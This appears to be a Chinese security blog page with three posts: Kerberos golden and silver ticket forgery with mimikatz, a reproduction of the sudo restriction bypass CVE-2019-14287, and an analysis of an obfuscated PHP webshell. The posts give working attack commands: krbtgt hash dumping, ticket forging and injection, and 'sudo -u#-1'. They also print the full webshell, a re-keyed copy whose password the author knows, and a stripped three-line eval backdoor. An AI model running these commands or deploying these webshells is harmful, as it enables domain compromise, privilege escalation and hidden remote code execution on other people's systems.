分类 网络安全 下的文章

白银票据、黄金票据利用

这种攻击方法很多文章都已经写了。我就整理一下复现一下过程,当个笔记,以后有需要的时候直接拿来用。

windows认证

windows域目前仍使用kerberos认证,与本地认证以及网络认证一样,都属于windows认证方式。

认证流程是
1、客户端向AS请求
2、AS认证通过后发送TGT给客户端
3、客户端向TGS发送TGS请求包
4、TGS认证通过后发送Ticket以及session key
5、客户端向server发送请求
6、server验证通过允许访问

黄金票据

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

利用

先使用psexec连接到dc上执行mimikatz导出krbtgt的hash

privilege::debug
lsadump::dsync /domain:test.com /user:krbtgt

本地利用mimikatz生成金票据

kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-4137473164-1083575512-2086369784 /krbtgt:ce6eb475c764fba0e0cd4a1057a33547 /ticket:test.kribi
//然后本地导入票据
kerberos::ptt test.kribi


可以看到成功连接。

白银票据

白银票据不与KDC交互,伪造Ticket直接与server进行交互。我们来看一下windows认证的第六步,server接收到客户端的数据包后,使用自己的密码hash解密ticket得出session key,在使用session key解密Authenticator和timestamp即通过验证,所以我们只需要知道server用户的hash就可以伪造出一个ticket,这就是白银票据。

这是从目标机上获取到的机器hash和主机名:

创建票据命令为:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt

白银票据根据用户hash生成,而且只能根据某些服务创建,可利用的服务如下

服务注释 服务名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools
RPCSS、LDAP、CIFS

Mimikatz创建黄金的命令是“kerberos :: golden”

/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”
/sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”
/sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。
/user ---伪造的用户名
/groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。
/krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。
/ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ptt立即将黄金票据插入内存以供使用。
/ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。
/id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。
/startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。
/endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。
/renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。
/sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。
/aes128 - AES128密钥
/aes256 - AES256密钥

黄金票默认组:
域用户SID:S-1-5-21 -513
域管理员SID:S-1-5-21 -512
架构管理员SID:S-1-5-21 -518
企业管理员SID:S-1-5-21 -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)
组策略创建者所有者SID:S-1-5-21 -520


https://www.cnblogs.com/KevinGeorge/p/9337747.html
http://www.h0r2yc.cn/2019/08/17/windows%E8%AE%A4%E8%AF%81-%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE%E3%80%81%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8/

sudo权限绕过复现CVE-2019-14287

大早上看到表哥们发链接,说sudo提权漏洞,激动的一批,看了眼说明,感觉事情没那么简单。


需要一定条件触发
sudo的配置文件是/etc/sudoers
通常管理员通过修改这个文件来限制sudo用户列表中允许运行的程序和权限
我将限制规则添加到sudoers中如下图

限制是使tom用户sudo运行whoami,但是不允许使用root权限。
这个漏洞就是绕过!root这限制进行提权。
(PS:通常这种功能使用在一些企业对用户进行降权操作的时候的配置。拿到一台Linux服务器用户权限后可以尝试下sudo -i,说不准设置了NOPASSWD)

sudo whoami
//可以看到普通用户执行sudo whoami的时候,提示进制使用root运行在本机。

sudo -u#-1 whoami
//执行后可以看到绕过了限制。

sudo影响版本是1.8.28以下。

https://www.sudo.ws/alerts/minus_1_uid.html

对一个加密webshell分析

大佬微信突然问我是不是马:
-w321

第一眼看花是php://input
那铁定是马啊,后来仔细一看phpunit路径

然后想起来是phpunit组件自带的,这个租钱在2014年时候有个漏洞,就是因为使用的是php//input,然后这个组件给暴露在web容器中了,导致的rce
https://github.com/sebastianbergmann/phpunit/blob/master/src/Util/PHP/eval-stdin.php
-w420


过了一会大佬又发我了一份样本。。。。今天国庆啊。。。。

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/ ?>

解密整理后:

<?php 
$CF ='create_function';
$EB=@$CF(eval(@session_start();
if(isset($_POST['code'])substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];
if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode'])););)
$EB();
?>

发现使用密码:

substr(sha1(md5($_POST['a'])),36)=='222f'

这句话就是判断密码,首先将变量a经过md5加密后再使用sha把密文在加密,使用substr函数截取40位sha加密后从第37-40这四个字符,如果等于222f那就代表密码正确。这种加密不可逆, 但是我们可以修改222f为自己已知的加密后的内容
比如改成:df86
-w893
-w909

-w558

修改原样本密码后:

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nZTgxNScmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/ ?>

-w1388

-w959
其实把木马提取出来就是这三行:

<?php 
@session_start();
@$_SESSION['theCode']=$_POST['code'];
@eval(base64_decode($_SESSION['theCode']));
?>

过了一会,大佬又来一个文件。
-w245
然后我就想应该是软件扫出来的马记录吧。
然后搜索了下常见命令执行函数:
找到了exec ,然鹅是写死的。
传入变量是可控,可能存在rce(然鹅我没弄过thinkphp所以不知道是否过滤了)
但是这个文件初步判定是非马,就没继续看了。看注释很多也像正常文件。
-w638